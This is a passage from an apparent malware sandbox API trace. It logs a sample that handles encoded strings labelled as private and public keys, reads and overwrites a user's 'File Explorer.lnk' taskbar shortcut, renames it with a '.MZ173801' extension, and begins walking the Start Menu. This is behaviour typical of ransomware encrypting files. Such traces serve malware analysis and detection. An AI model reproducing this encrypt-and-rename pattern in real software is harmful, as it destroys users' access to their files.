lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0184.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0184.459] GetCurrentThreadId () returned 0xab4 [0184.459] GetCurrentThreadId () returned 0xab4 [0184.459] GetCurrentThreadId () returned 0xab4 [0184.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0184.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24aff6c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0184.460] GetCurrentThreadId () returned 0xab4 [0184.460] GetCurrentThreadId () returned 0xab4 [0184.460] GetCurrentThreadId () returned 0xab4 [0184.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\file explorer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0184.460] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0184.460] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0184.461] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x197 [0184.461] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0184.461] ReadFile (in: hFile=0x2f4, lpBuffer=0x24b7d70, nNumberOfBytesToRead=0x197, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24b7d70*, lpNumberOfBytesRead=0x19fa18*=0x197, lpOverlapped=0x0) returned 1 [0184.462] CloseHandle (hObject=0x2f4) returned 1 [0184.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\file explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0184.592] WriteFile (in: hFile=0x2f4, lpBuffer=0x24b9da0*, nNumberOfBytesToWrite=0x197, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b9da0*, lpNumberOfBytesWritten=0x19fa24*=0x197, lpOverlapped=0x0) returned 1 [0184.621] CloseHandle (hObject=0x2f4) returned 1 [0184.891] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\file explorer.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\File Explorer.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\file explorer.lnk.mz173801")) returned 1 [0185.173] GetCurrentThreadId () returned 0xab4 [0185.173] GetCurrentThreadId () returned 0xab4 [0185.173] GetCurrentThreadId () returned 0xab4 [0185.173] GetCurrentThreadId () returned 0xab4 [0185.173] GetCurrentThreadId () returned 0xab4 [0185.173] GetCurrentThreadId () returned 0xab4 [0185.173] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x19fb94, dwReserved1=0x77a5dcac, cFileName="File Explorer.lnk", cAlternateFileName="FILEEX~1.LNK")) returned 0 [0185.173] GetLastError () returned 0x12 [0185.173] FindClose (in: hFindFile=0xa1b268 | out: hFindFile=0xa1b268) returned 1 [0185.173] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x985968ce, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x985968ce, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fb94, dwReserved1=0x77a5dcac, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0185.174] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0185.174] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0185.174] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xbf8c33d8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x985968ce, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x985968ce, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19fb94, dwReserved1=0x77a5dcac, cFileName="..", cAlternateFileName="")) returned 1 [0185.174] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0185.174] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0185.174] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xe79990a9, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x19fb94, dwReserved1=0x77a5dcac, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0185.174] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x982e7efb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x19fb94, dwReserved1=0x77a5dcac, cFileName="File Explorer.lnk.MZ173801", cAlternateFileName="FILEEX~1.MZ1")) returned 1 [0185.174] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0185.174] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0185.174] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf8e963a, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7972e3b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x982e7efb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x19fb94, dwReserved1=0x77a5dcac, cFileName="File Explorer.lnk.MZ173801", cAlternateFileName="FILEEX~1.MZ1")) returned 0 [0185.174] GetLastError () returned 0x12 [0185.174] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0185.174] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=11, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 1 [0185.175] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu")) returned 0x11 [0185.175] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=11, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 1 [0185.175] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3e46430, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0185.175] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xd3e46430, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, 